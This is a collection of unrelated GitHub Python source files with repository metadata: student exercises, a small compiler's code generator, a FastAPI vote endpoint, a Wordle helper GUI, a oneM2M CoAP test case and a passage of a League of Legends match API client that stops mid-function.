{"seq_id":"8403773386","text":"from lab_python_oop import Circle, Rectangle, Square, Color\nfrom lab_python_oop.AF import Figure\nfrom datetime import datetime\n\ndef main():\n    BLUE = Color.Color(\"Синий\")\n    GREEN = Color.Color(\"Зелёный\")\n    RED = Color.Color(\"Красный\")\n\n    r = Rectangle.Rectangle(2,2,BLUE)\n    print(f\"{r}\")\n    print(\"=\"*60)\n    c = Circle.Circle(2, GREEN)\n    print(f\"{c}\")\n    print(\"=\"*60)\n    s = Square.Square(2,RED)\n    print(f\"{s}\")\n    print(\"=\"*60)\n\n    print(f\"Текущая дата: {datetime.now()}\") #получение текущего времени\n\nif __name__ == \"__main__\":\n    main()","repo_name":"MEHT9IPA/Labs_web","sub_path":"Lab_2/Lab_2.py","file_name":"Lab_2.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"31938768999","text":"import copy\n\nenv = {}\ns = 0\n\nwatcher_s = 0\n\nclass IF_COND:\n\n\t# expr: Bedingung unter der der if-Block ausgeführt wird\n\t# if_stat: Programmcode der ausgeführt wird wenn expr == True\n\t# fl_stat: Der immer auf den if-Block folgende Code\n\tdef __init__(self, expr, if_stat, fl_stat):\n\t\tself.expr = expr\n\t\tself.if_stat = if_stat\n\t\tself.fl_stat = fl_stat\n\n\tdef ausgabe(self, v):\n\t\treturn v * \" \" + \"IF\\n\" + self.expr.ausgabe(v + 1) + \"\\n\" + self.if_stat.ausgabe(\n\t\t\tv + 2) + \"\\n\" + self.fl_stat.ausgabe(v)\n\n\nclass WHILE:\n\n\t# expr: Bedingung unter der der while-Block ausgeführt wird\n\t# wh_stat: Programmcode der ausgeführt wird wenn expr == True\n\t# fl_stat: Der immer auf den if-Block folgende Code\n\tdef __init__(self, expr, wh_stat, fl_stat):\n\t\tself.expr = expr\n\t\tself.wh_stat = wh_stat\n\t\tself.fl_stat = fl_stat\n\n\tdef ausgabe(self, v):\n\t\treturn v * \" \" + \"WHILE\\n\" + self.expr.ausgabe(v + 1) + \"\\n\" + self.wh_stat.ausgabe(\n\t\t\tv + 1) + \"\\n\" + self.fl_stat.ausgabe(v)\n\n\nclass ASSIGN:\n\n\t# id: Name der Variable\n\t# expr: Wert der Variable (bisher nur integer)\n\t# fl_stat: Die folgenden Statements\n\tdef __init__(self, id, expr, fl_stat):\n\t\tself.id = id\n\t\tself.expr = expr\n\t\tself.fl_stat = fl_stat\n\n\tdef ausgabe(self, v):\n\t\treturn v * \" \" + \"ASSIGN\\n\" + self.id + \"\\n\" + self.expr.ausgabe(v + 1) + \"\\n\" +\\\n\t\t\t   self.fl_stat.ausgabe(v)\n\n\tdef generiere_asm(self):\n\t\tglobal s\n\n\t\tasm = self.expr.generiere_asm()\n\n\t\t# Speicher Offset von $sp zu der Variable\n\t\tenv[self.id] = s\n\t\t# Verschiebe Offset um 4 Byte\n\t\ts -= 4\n\n\t\tasm += self.fl_stat.generiere_asm()\n\n\t\treturn asm\n\nclass FL_STAT:\n\n\tdef __init__(self, fl_stat):\n\t\tself.fl_stat = fl_stat # Das hier ist ein String, soll aber nicht\n\n\tdef ausgabe(self, v):\n\t\tif self.fl_stat == \"END\":\n\t\t\treturn self.fl_stat\n\t\telse:\n\t\t\treturn self.fl_stat.ausgabe(v)\n\n\tdef generiere_asm(self):\n\t\tif self.fl_stat == \"END\":\n\t\t\treturn \"\\n\"\n\t\telse:\n\t\t\treturn self.fl_stat.generiere_asm()\n\nclass START:\n\n\tdef __init__(self, fl_stat):\n\t\tself.fl_stat = fl_stat\n\n\tdef ausgabe(self):\n\t\tprint(self.fl_stat.ausgabe(0))\n\n\nclass EXPRm1:\n\tdef __init__(self, e0, comparandm1=None):\n\t\tself.e0 = e0\n\t\tself.comparandm1 = comparandm1\n\n\tdef ausgabe(self, v):\n\t\tausgabe = v * \" \"\n\t\tif self.comparandm1 != None:\n\t\t\tausgabe = \"==\\n\" + self.comparandm1.ausgabe(v)\n\t\treturn self.e0.ausgabe(v + 1) + ausgabe\n\n\tdef generiere_asm(self):\n\t\treturn self.e0.generiere_asm()\n\nclass EXPR0:\n\n\t# EXPR0 nimmt Instanz von Typ EXPR1 (e1)\n\t# summand0: optionaler Summand von Typ (e0)\n\tdef __init__(self, e1, summand0=None):\n\t\tself.e1 = e1\n\t\tself.summand0 = summand0\n\n\tdef ausgabe(self, v):\n\t\tausgabe = v * \" \"\n\t\tif self.summand0 != None:\n\t\t\tausgabe = \"+\\n\"+self.summand0.ausgabe(v + 1)\n\t\treturn self.e1.ausgabe(v + 1)+ausgabe\n\n\tdef generiere_asm(self):\n\t\tglobal s\n\t\tglobal watcher_s\n\t\t#--Erinnerung:--#\n\t\t# Stack-Pointer wird in ASSIGN.generiere_asm() dekrementiert\n\n\t\t# Speicher den Wert von dem linken Summant in $t0\n\t\tasm = self.e1.generiere_asm()\n\n\t\t# Speicher den Wert von $t0 in den Stack an 0($sp)\n\t\tasm += \"sw $t0 \"+str(s)+\"($sp)\\n\"\n\n\n\t\t# Wenn ein rechter Summant vorhanden ist dann mache das:\n\t\tif self.summand0 != None:\n\t\t\t# Der Offset wird geupdatet um den nächsten RAM Eintrag weiter unten im Stack zu speichern\n\t\t\ts -= 4\n\t\t\t# Speicher den Wert des rechten Summanten in $t0\n\t\t\tasm += self.summand0.generiere_asm()\n\n\t\t\t# Der Offset wird geupdatet um wieder wie normal auf den oberen Eintrag im Stack zuzugreifen\n\t\t\ts += 4\n\t\t\t# Speicher den Wert in 0($sp) in $t1\n\t\t\tasm += \"lw $t1 \"+str(s)+\"($sp)\\n\"\n\n\t\t\t# Addiere den Wert in $t0 udn in $t1 in $t0\n\t\t\tasm += \"add $t0 $t0 $t1\\n\"\n\n\t\t\t# Speicher den Wert von $t0 in 0($sp)\n\t\t\tasm += \"sw $t0 \"+str(s)+\"($sp)\"+\"\\n\"\n\n\t\treturn asm\n\n\nclass EXPR1:\n\n\t# EXPR1 nimmt Instanz von Typ EXPR2 (e2)\n\t# factor1: optionaler Faktor von Typ EXPR1 (factor1)\n\tdef __init__(self, e2, factor1=None):\n\t\tself.e2 = e2\n\t\tself.factor1 = factor1\n\n\tdef ausgabe(self, v):\n\t\tausgabe = v * \" \"\n\t\tif self.factor1 != None:\n\t\t\tausgabe = \"*\\n\"+self.factor1.ausgabe(v + 1)\n\t\treturn self.e2.ausgabe(v + 1)+ausgabe\n\n\tdef generiere_asm(self):\n\t\tglobal s\n\t\tglobal watcher_s\n\t\t#--Erinnerung:--#\n\t\t# Stack-Pointer wird in ASSIGN.generiere_asm() dekrementiert\n\n\t\t# Speicher den Wert von dem linken Faktor in $t0\n\t\tasm = self.e2.generiere_asm()\n\n\t\t# Speicher den Wert von $t0 in den Stack an 0($sp)\n\t\tasm += \"sw $t0 \"+str(s)+\"($sp)\\n\"\n\t\n\n\t\t# Wenn ein rechter Faktor vorhanden ist dann mache das:\n\t\tif self.factor1 != None:\n\t\t\t# Der Offset wird geupdatet um den nächsten RAM Eintrag weiter unten im Stack zu speichern\n\t\t\ts -= 4\n\n\t\t\t# Speicher den Wert des rechten Faktor in $t0\n\t\t\tasm += self.factor1.generiere_asm()\n\n\t\t\t# Der Offset wird geupdatet um wieder wie normal auf den oberen Eintrag im Stack zuzugreifen\n\t\t\ts += 4\n\t\t\t# Speicher den Wert in 0($sp) in $t1\n\t\t\tasm += \"lw $t1 \"+str(s)+\"($sp)\\n\"\n\n\t\t\t# Addiere den Wert in $t0 udn in $t1 in $t0\n\t\t\tasm += \"mul $t0 $t0 $t1\\n\"\n\n\t\t\t# # Speicher den Wert von $t0 in 0($sp)\n\t\t\t# asm += \"sw $t0 \"+str(s)+\"($sp)\\n\"\n\t\t\n\t\treturn asm\n\n\nclass EXPR2:\n\n\t# EXPR2 nimmt entweder einen negative Instanz von Typ EXPR2 (negated2)\n\t# oder nimmt Instanz von Typ EXPR3 (e3)\n\t# Keine Rechnung\n\tdef __init__(self, negated2=None, e3=None):\n\t\tself.negated2 = negated2\n\t\tself.e3 = e3\n\t\n\tdef ausgabe(self, v):\n\t\tif self.negated2 != None:\n\t\t\tausgabe = \"\\n-\" +self.negated2.ausgabe(v + 1)\n\t\telse:\n\t\t\tausgabe = self.e3.ausgabe(v + 1)\n\t\treturn v * \" \" + ausgabe\n\n\tdef generiere_asm(self):\n\t\tif self.negated2 != None:\n\t\t\tasm = self.negated2.generiere_asm()\n\t\telse:\n\t\t\tasm = self.e3.generiere_asm()\n\t\treturn asm\n\n\nclass EXPR3:\n\n\t# Entweder Variablenname (ident), Zahl (lit) oder eingeklammerte Instanz von Typ EXPR0 (e0)\n\tdef __init__(self, ident=None, lit=None, e0=None):\n\t\tself.ident = ident\n\t\tself.lit = lit\n\t\tself.e0 = e0\n\n\tdef ausgabe(self, v):\n\t\tif self.ident != None:\n\t\t\tausgabe = self.ident\n\t\telif self.lit != None:\n\t\t\tausgabe = self.lit\n\t\telse:\n\t\t\tausgabe = \"(\\n\" + self.e0.ausgabe(v + 1) + \"\\n\" + v * \" \" + \")\"\n\t\treturn v * \" \" + ausgabe\n\t\n\tdef generiere_asm(self):\n\t\tasm = \"\"\n\t\tif self.ident != None:\n\t\t\t# \n\t\t\tvoffset = env[self.ident]\n\t\t\tasm = \"lw $t0 \"+str(voffset)+\"($sp)\\n\"\n\t\t\t#asm = \"li $t0 5\\n\"\n\t\telif self.lit != None:\n\t\t\tasm = \"li $t0 \"+self.lit+\"\\n\"\n\t\telse:\n\t\t\tasm = self.e0.generiere_asm()\n\t\treturn asm\n","repo_name":"jonas-skywalker/hurricane-compiler","sub_path":"src/ast_to_asm/funktionen.py","file_name":"funktionen.py","file_ext":"py","file_size_in_byte":6242,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"13149317990","text":"nmes=[1,2,3,4,5,6,7,8,9,10,11,12]\nm30=[1,3,5,7,8,10,12]\nm31=[4,6,9,11]\n\ndef fecha(d,m,a):\n        if bisiesto(a)=='no' and m==2 and d==29:\n            return \"fecha incorrecta\"\n        elif m==2 and d <= 29:\n                return \"fecha correcta\"\n        elif m in m30 and d <= 30:\n            return \"fecha correcta\"\n        elif m in m31 and d <=31:\n            return \"fecha correcta\"\n        else:\n            return \"fecha incorrecta\"\n\ndef bisiesto(año):\n    if not año%4:\n        return \"si\"\n    else:\n        return \"no\"\n\nif __name__==\"__main__\":\n    print(fecha(int(input(\"Introduzca el dia de la fecha a comprobar: \")),int(input(\"Introduzca el mes de la fecha a comprobar: \")),int(input(\"Introduzca el año de la fecha a comprobar: \"))))","repo_name":"jmarrieta98/Programacion","sub_path":"Python/Ejercicios 3/3.7.py","file_name":"3.7.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"28205444426","text":"from fastapi import APIRouter, Depends, status, HTTPException, Response\nfrom sqlalchemy.orm import Session\n\nfrom .. import model, schemas, database, oauth2\n\nrouter = APIRouter(prefix=\"/vote\", tags=[\"Vote\"])\n\n\n@router.post(\"/\", status_code=status.HTTP_201_CREATED)\ndef vote(\n    vote: schemas.Vote,\n    db: Session = Depends(database.get_db),\n    user_id: schemas.TokenData = Depends(oauth2.get_current_user),\n):\n    vote_query = db.query(model.Vote).filter(\n        model.Vote.post_id == vote.post_id, model.Vote.user_id == user_id.id\n    )\n    found_vote = vote_query.first()\n    if vote.dir == 1:\n        if found_vote:\n            raise HTTPException(\n                status_code=status.HTTP_409_CONFLICT, detail=\"Already voted\"\n            )\n        new_vote = model.Vote(post_id=vote.post_id, user_id=user_id.id)\n        db.add(new_vote)\n        db.commit()\n        return {\"message\": \"successfully added vote\"}\n    if not found_vote:\n        raise HTTPException(\n            status_code=status.HTTP_409_CONFLICT, detail=\"vote not exists\"\n        )\n    vote_query.delete(synchronize_session=False)\n    db.commit()\n    return {\"message\": \"successfully deleted vote\"}\n","repo_name":"hiteshsankhat/fastapi-sample-project","sub_path":"app/routers/vote.py","file_name":"vote.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"21981890013","text":"import tkinter as tk\nfrom tkinter import simpledialog\nfrom tkinter import *\nfrom tkinter import messagebox\n\ndef get_wordmaster_answers():\n    words = set()\n    with open(\"words.txt\", \"r\") as f:\n        for line in f:\n            words.add(line.strip())\n    return words\n\npossible = get_wordmaster_answers()\n\nalpha = \"abcdefghijklmnopqrstuvwxyz\"\nvalid = \"012\"\n\nwindow = Tk()\nwindow.geometry('600x300')\nwindow.title(\"Wordle Info\")\n\nheader = Label(window, text=\"~~~Info based upon Wordle progress~~~\", font=(\"Arial Bold\", 20))\nheader.grid(column=0, row=0)\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~ GUESS STUFF ~~~~~~~~~~~~~~~~~~~~~~~~~~~\nwordPrompt = Label(window, text = \"Input your word: \")\nwordPrompt.grid(column = 0, row = 1)\n\nword = Entry(window,width=10)\nword.grid(column=1, row=1)\n\nguessInfo = Label(window, text = \"\")\nguessInfo.grid(column = 0, row = 2)\n\ndef clickedOK():\n    status = 0\n    guess = word.get().lower()\n    # make sure it's letters only\n    for let in guess:\n        if let not in alpha:\n            status = 1\n    # and that it's 5 letters\n    if len(guess) == 5 and status == 0:\n        res = \"Your guess was \" + guess.upper()\n        guessInfo.configure(text = res)\n    else:\n        guessInfo.configure(text = \"Your guess must be 5 letters. Try again.\")\n\ndef clickedCONFIRM():\n    guess = word.get().lower()\n    status = 0\n    for let in guess: \n        if let not in alpha:\n            status = 1\n    if len(guess) == 5 and status ==0:\n        global currentGuess \n        currentGuess = guess\n    else:\n        guessInfo.configure(text = \"Your guess must be 5 letters. Try again.\")\n\nbtOK = Button(window, text = \"OK\", command = clickedOK)\nbtOK.grid(column = 2, row = 1)\n\nbtCONFIRM = Button(window, text = \"CONFIRM\", command = clickedCONFIRM)\nbtCONFIRM.grid(column = 1, row = 2)\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~ FEEDBACK STUFF ~~~~~~~~~~~~~~~~~~~~~~~~\nfeedbackPrompt = Label(window, text = \"Input the feedback you recieved: \\n (0 = gray, 1 = yellow, 2 = green)\")\nfeedbackPrompt.grid(column = 0, row = 3)\n\nfeedback = Entry(window,width=10)\nfeedback.grid(column=1, row=3)\n\nfeedbackInfo = Label(window, text = \"\")\nfeedbackInfo.grid(column = 0, row = 4)\n\ndef clickedOK2():\n    status = 0\n    info = feedback.get()\n    # make sure it's 0,1,2 only\n    for num in info:\n        if num not in valid:\n            status = 1\n    # and that it's 5 letters\n    if len(info) == 5 and status == 0:\n        colored = [0 for i in range(5)]\n        for i in range(5):\n            if info[i] == \"0\":\n                colored[i] = \"GRAY\"\n            if info[i] == \"1\":\n                colored[i] = \"YELLOW\"\n            if info[i] == \"2\":\n                colored[i] = \"GREEN\"\n        colorstr = \", \".join(colored)\n        res = \"Your feedback was: [\" + (colorstr) +\"]\"\n        feedbackInfo.configure(text = res)\n    else:\n        feedbackInfo.configure(text = \"Your guess must be 5 digits - 0, 1, or 2. Try again.\")\n\nbtOK2 = Button(window, text = \"OK\", command = clickedOK2)\nbtOK2.grid(column = 2, row = 3)\n\ndef clickedCONFIRM2():\n    info = feedback.get()\n    if len(info) == 5:\n        colored = [0,0,0,0,0]\n        for i in range(5):\n            if info[i] == \"0\":\n                colored[i] = \"GRAY\"\n            if info[i] == \"1\":\n                colored[i] = \"YELLOW\"\n            if info[i] == \"2\":\n                colored[i] = \"GREEN\"\n        global currentInfo\n        currentInfo = colored\n    else: \n        feedbackInfo.configure(text = \"Your guess must be 5 digits - 0, 1, or 2. Try again.\")\n\nbtCONFIRM2 = Button(window, text = \"CONFIRM\", command = clickedCONFIRM2)\nbtCONFIRM2.grid(column = 1, row = 4)\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n# ~~~~~~~~~~~~~~~~~~~~ POSSIBILITIES ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nnumber = str(len(possible))\npossibleInfo = Label(window, text = \"There are currently \" + number + \" possible words.\")\npossibleInfo.grid(column = 0, row = 6)\n\npossiblePrompt = Label(window, text = \"Would you like to see the new number of possibilities?\")\npossiblePrompt.grid(column = 0, row = 7)\n\npossibleFeedback = Label(window, text = \"\")\npossibleFeedback.grid(column = 0, row = 8)\n\ndef updatePossible(currentGuess, currentInfo):\n    global possible\n    temppos = possible.copy()\n    for i in range(5):\n        letter = currentGuess[i]\n        # is there a green(s)? remove every word without that letter in that spot\n        if currentInfo[i] == \"GREEN\":\n            for word in possible:\n                if word[i] != letter:\n                    temppos.remove(word)\n            possible = temppos.copy()\n\n        # is there a yellow? remove every word without that letter at all\n        elif currentInfo[i] == \"YELLOW\":\n            for word in possible:\n                if letter not in word:\n                    temppos.remove(word)\n                elif word[i] == letter:\n                    temppos.remove(word)\n            possible = temppos.copy()\n\n        # a gray? remove every word with that letter\n        elif currentInfo[i] == \"GRAY\":\n            # duplicate letter - ignore tihs one, look at the next since gray\n            if letter in currentGuess[i+1:]:\n                break\n\n            for word in possible:\n                if letter in word:\n                    temppos.remove(word)\n            possible = temppos.copy()\n\n    newNumber = str(len(possible))\n    possibleInfo.configure(text = \"There are now \" + newNumber + \" possible words.\")\n\n\ndef clickedYES():\n    status = 0\n    if 'currentGuess' not in globals():\n        status += 1\n    if 'currentInfo' not in globals():\n        status += 2\n    if status == 1:\n        possibleFeedback.configure(text =\"Ruh-roh. You never confirmed your word.\")\n    if status == 2:\n        possibleFeedback.configure(text = \"Ruh-roh. You never confirmed your feedback.\")\n    if status == 3:\n        possibleFeedback.configure(text =\"Ruh-roh. You never confirmed your word or feedback.\")\n    if status == 0:\n        possibleFeedback.configure(text=\"\")\n        updatePossible(currentGuess, currentInfo)\n\n\nbtYES = Button(window, text = \"YES\", command = clickedYES)\nbtYES.grid(column = 1, row = 7)\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nword.focus()\nwindow.mainloop()\n\n# TODO: fix the same things that are wrong in wordleinfo.py\n\n","repo_name":"hagemanr/Wordle_info","sub_path":"wordleinfogui.py","file_name":"wordleinfogui.py","file_ext":"py","file_size_in_byte":6399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"14433626210","text":"K = int(input())\ndirections = []\nwidths = []\ndtemp = []\nwtemp = []\nfor i in range(6) :\n    d, w = map(int, input().split())\n    if directions.count(d) > 0 :\n        index = directions.index(d)\n        oldWidth = widths[index]\n        dtemp.append(d)\n        if w < oldWidth :\n            wtemp.append(w)\n        else :\n            directions.remove(d)\n            directions.append(d)\n            widths[index] = w\n            wtemp.append(oldWidth)\n    else  :\n        directions.append(d)\n        widths.append(w)\n# print(f\"directions = {directions}\")\n# print(f\"widths = {widths}\")\n# print(f\"dtemp = {dtemp}\")\n# print(f\"wtemp = {wtemp}\")\ntempli = [x for x in directions if x not in dtemp]\nbigSquare = widths[directions.index(templi[0])] * widths[directions.index(templi[1])]\nsmallSquare = wtemp[0] * wtemp[1]\nresult = (bigSquare - smallSquare) * K\nprint(result)\n# print(f\"({bigSquare} - {smallSquare}) * {K} = {(bigSquare - smallSquare) * K}\")","repo_name":"pivotCosmos/algorithm","sub_path":"202208/2477_melonField.py","file_name":"2477_melonField.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"70518740903","text":"from step_2_ttl_triple_creator import triples_list\n\n# IMPORTANT: CHANGE FILE NAME WITH EACH NEW VERSION IF THE FILE IS TO BE IMPORTED TO PROTEGE.\n# Protege does not always understand that this is a new file if the file name is the same with a previously imported file.\nfile_obj = open(\"Output//pure_bib_head_100k_0.8.3.ttl\", \"w\")\n# file_obj = open(\"Output//pure_bib_limited_0.6.5.ttl\", \"w\")  # use for test version\n\nfor each_triple in triples_list:\n    file_obj.write(each_triple)\n    file_obj.write('\\n')\n\nprint (\"Success: The triples are written to the specified file.\")\n\n# NOTE: Check the integrity of the produced .ttl file in command line\n# > ttl <path to file>\n# e.g.,\n# > ttl .\\pure_bib_head_100k_0.7.0.ttl\n# If ttl validator is not installed, it can be obtained from:\n# https://github.com/IDLabResearch/TurtleValidator\n# (or, npm install -g turtle-validator)","repo_name":"clokman/KAD","sub_path":"Prototype_Final/step_3_save-as-ttl.py","file_name":"step_3_save-as-ttl.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"21477797403","text":"# 90%대에서 틀렸습니다. 예외 케이스 존재\n\nimport sys\nfrom collections import deque\nn, m = map(int, sys.stdin.readline().split())\n\na = [list(map(int, sys.stdin.readline().split())) for i in range(n)]\nd = [[0]*m for i in range(n)]\nq = deque()\nq.append((a[0][0], 0, 0))\nd[0][0] = a[0][0]\nwhile q:\n    candy, r, c = q.popleft()\n    for dr, dc in ((1,0),(0,1),(1,1)):\n        nr = r + dr\n        nc = c + dc\n        if nr < 0 or nc < 0 or nr >= n or nc >= m: continue\n        if d[r][c] + a[nr][nc] > d[nr][nc]:\n            d[nr][nc] = d[r][c] + a[nr][nc]\n            q.append((d[nr][nc], nr, nc))\n\nprint(d[n-1][m-1])\n","repo_name":"Minsoo-Shin/jungle","sub_path":"week04/11048_이동하기.py","file_name":"11048_이동하기.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"72377796584","text":"from ..common import *\n\n\nclass TD_M2M_NH_44(CoAPTestCase):\n    \"\"\"\n\nTD_M2M_NH_44:\n    cfg: M2M_CFG_01\n    obj: AE creates a <contentInstance> resource in each group member\n    pre:\n      - A group is created containing 2 members of type <container>\n    ref: 'TS-0001 [1], clause 10.2.7.6; TS-0004 [2], clause 7.3.14.3.1'\n    seq:\n    - s:\n      - 'AE is requested to send a Create Request to create <contentInstance> in each group member'\n      - - Type = 0 (CON)\n        - Code = 2 (POST)\n        - Content-format option\n        - Non-empty Payload\n\n    - c:\n      - 'Sent POST request contains'\n      - - Type=0 and Code=2\n        - Uri-Host = IP address or the FQDN of registrar CSE\n        - Uri-Path = {CSEBaseName}/{group}/fanoutPoint\n        - content-type=application/vnd.oneM2M-res+xml or application/vnd.oneM2M-res+json \n        - oneM2M-TY=4\n        - oneM2M-FR=AE-ID\n        - oneM2M-RQI=token-string (-> CRQI)\n        - Non-empty Payload\n\n    - v:\n        - 'Check if possible that the <contentInstance> resource is created in each member hosting CSE'\n\n    - c:\n        - 'Registrar CSE sends response containing'\n        - - Code=2.01(Created)\n          - oneM2M-RSC=2001\n          - oneM2M-RQI=CRQI\n          - Non-empty Payload:aggregated response\n\n    - v:\n      - 'AE indicates successful operation'\n\n    \"\"\"\n\n    @classmethod\n    @typecheck\n    def get_stimulis(cls) -> list_of(Value):\n        \"\"\"\n        Get the stimulis of this test case. This has to be be implemented into\n        each test cases class.\n\n        :return: The stimulis of this TC\n        :rtype: [Value]\n\n        .. note::\n            Check the number/value of the uri query options or not?\n        \"\"\"\n        return [\n            CoAP(type='con', code='post')\n        ]\n\n\n    def run (self):\n        self.match('client', CoAP (type=\"con\", code=\"post\",pl=Not(b'')), 'fail')\n        self.match('client', CoAP(opt=Opt(CoAPOptionContentFormat())), 'fail')\n        self.match('client', CoAP(opt=Opt(CoAPOptionOneM2MFrom())), 'fail')\n        self.match('client', CoAP(opt=Opt(CoAPOptionOneM2MTY('4'))), 'fail')\n\n        if self.match('client', CoAP(opt=Opt(CoAPOptionOneM2MRequestIdentifier())), 'fail'):\n            CMID = self.coap['mid']\n            CTOK = self.coap['tok']\n            OPTS = self.coap['opt']\n            RI = OPTS[CoAPOptionOneM2MRequestIdentifier]\n            RIVAL = RI[2]\n\n            self.next()\n\n            self.match('server', CoAP(code=2.01, mid=CMID, tok=CTOK, pl=Not(b'')), 'fail')\n            self.match('server', CoAP(opt=Opt(CoAPOptionContentFormat())), 'fail')\n            self.match('server', CoAP(opt=Opt(CoAPOptionOneM2MResponseStatusCode('2001'))), 'fail')\n            self.match('server', CoAP(opt=Opt(CoAPOptionOneM2MRequestIdentifier(RIVAL))), 'fail')\n            self.match('server', CoAP(opt=Opt(CoAPOptionLocationPath())), 'fail')\n\n","repo_name":"fsismondi/ttproto","sub_path":"ttproto/tat_onem2m/testcases/td_m2m_nh_44.py","file_name":"td_m2m_nh_44.py","file_ext":"py","file_size_in_byte":2862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"25717498391","text":"from time import time\nfrom typing import Type, TypeVar, MutableMapping, Any, Iterable, Generator, Union\nimport arrow\nimport datetime\nimport math\n\nfrom datapipelines import (\n    DataSource,\n    PipelineContext,\n    Query,\n    NotFoundError,\n    validate_query,\n)\n\nfrom .common import KernelSource, APINotFoundError\nfrom ...data import Platform, Queue, QUEUE_IDS\nfrom ...dto.match import MatchDto, MatchListDto, TimelineDto\nfrom ..uniquekeys import convert_region_to_platform\n\nT = TypeVar(\"T\")\n\n\ndef _get_current_time(\n    query: MutableMapping[str, Any], context: PipelineContext = None\n) -> int:\n    return int(time()) * 1000\n\n\nclass MatchAPI(KernelSource):\n    @DataSource.dispatch\n    def get(\n        self,\n        type: Type[T],\n        query: MutableMapping[str, Any],\n        context: PipelineContext = None,\n    ) -> T:\n        pass\n\n    @DataSource.dispatch\n    def get_many(\n        self,\n        type: Type[T],\n        query: MutableMapping[str, Any],\n        context: PipelineContext = None,\n    ) -> Iterable[T]:\n        pass\n\n    _validate_get_match_query = (\n        Query.has(\"id\").as_(int).also.has(\"platform\").as_(Platform)\n    )\n\n    @get.register(MatchDto)\n    @validate_query(_validate_get_match_query, convert_region_to_platform)\n    def get_match(\n        self, query: MutableMapping[str, Any], context: PipelineContext = None\n    ) -> MatchDto:\n        parameters = {\"platform\": query[\"platform\"].value}\n        endpoint = \"lol/match/v4/matches/{id}\".format(id=query[\"id\"])\n        try:\n            data = self._get(endpoint=endpoint, parameters=parameters)\n        except APINotFoundError as error:\n            raise NotFoundError(str(error)) from error\n\n        data[\"gameId\"] = query[\"id\"]\n        data[\"region\"] = query[\"platform\"].region.value\n        for p in data[\"participantIdentities\"]:\n            aid = p.get(\"player\", {}).get(\"currentAccountId\", None)\n            if aid == 0:\n                p[\"player\"][\"bot\"] = True\n        return MatchDto(data)\n\n    _validate_get_many_match_query = (\n        Query.has(\"ids\").as_(Iterable).also.has(\"platform\").as_(Platform)\n    )\n\n    @get_many.register(MatchDto)\n    @validate_query(_validate_get_many_match_query, convert_region_to_platform)\n    def get_many_match(\n        self, query: MutableMapping[str, Any], context: PipelineContext = None\n    ) -> Generator[MatchDto, None, None]:\n        def generator():\n            parameters = {\"platform\": query[\"platform\"].value}\n            for id in query[\"ids\"]:\n                endpoint = \"lol/match/v4/matches/{id}\".format(id=id)\n                try:\n                    data = self._get(endpoint=endpoint, parameters=parameters)\n                except APINotFoundError as error:\n                    raise NotFoundError(str(error)) from error\n\n                for participant in data[\"participants\"]:\n                    participant.setdefault(\"runes\", [])\n                for p in data[\"participantIdentities\"]:\n                    aid = p.get(\"player\", {}).get(\"currentAccountId\", None)\n                    if aid == 0:\n                        p[\"player\"][\"bot\"] = True\n\n                data[\"gameId\"] = id\n                data[\"region\"] = query[\"platform\"].region.value\n                yield MatchDto(data)\n\n        return generator()\n\n    _validate_get_match_list_query = (\n        Query.has(\"accountId\")\n        .as_(str)\n        .also.has(\"platform\")\n        .as_(Platform)\n        .also.has(\"beginTime\")\n        .as_(int)\n        .also.can_have(\"endTime\")\n        .as_(int)\n        .also.has(\"beginIndex\")\n        .as_(int)\n        .also.has(\"maxNumberOfMatches\")\n        .as_(float)\n        .also.can_have(\"champion.ids\")\n        .as_(Iterable)\n        .also.can_have(\"queues\")\n        .as_(Iterable)\n    )\n\n    @get.register(MatchListDto)\n    @validate_query(_validate_get_match_list_query, convert_region_to_platform)\n    def get_match_list(\n        self, query: MutableMapping[str, Any], context: PipelineContext = None\n    ) -> MatchListDto:\n        parameters = {\"platform\": query[\"platform\"].value}\n\n        riot_index_interval = 100\n        riot_date_interval = datetime.timedelta(days=7)\n\n        begin_time = query[\"beginTime\"]  # type: arrow.Arrow\n        end_time = query.get(\"endTime\", arrow.now())  # type: arrow.Arrow\n        if isinstance(begin_time, int):\n            begin_time = arrow.get(begin_time / 1000)\n        if isinstance(end_time, int):\n            end_time = arrow.get(end_time / 1000)\n\n        def determine_calling_method(begin_time, end_time) -> str:\n            \"\"\"Returns either \"by_date\" or \"by_index\".\"\"\"\n            matches_per_date_interval = 10  # This is an assumption\n            seconds_per_day = 60 * 60 * 24\n            riot_date_interval_in_days = (\n                riot_date_interval.total_seconds() / seconds_per_day\n            )  # in units of days\n            npulls_by_date = (\n                (end_time - begin_time).total_seconds()\n                / seconds_per_day\n                / riot_date_interval_in_days\n            )\n            npulls_by_index = (\n                (arrow.now() - begin_time).total_seconds()\n                / seconds_per_day\n                / riot_date_interval_in_days\n                * matches_per_date_interval\n                / riot_index_interval\n            )\n            if math.ceil(npulls_by_date) < 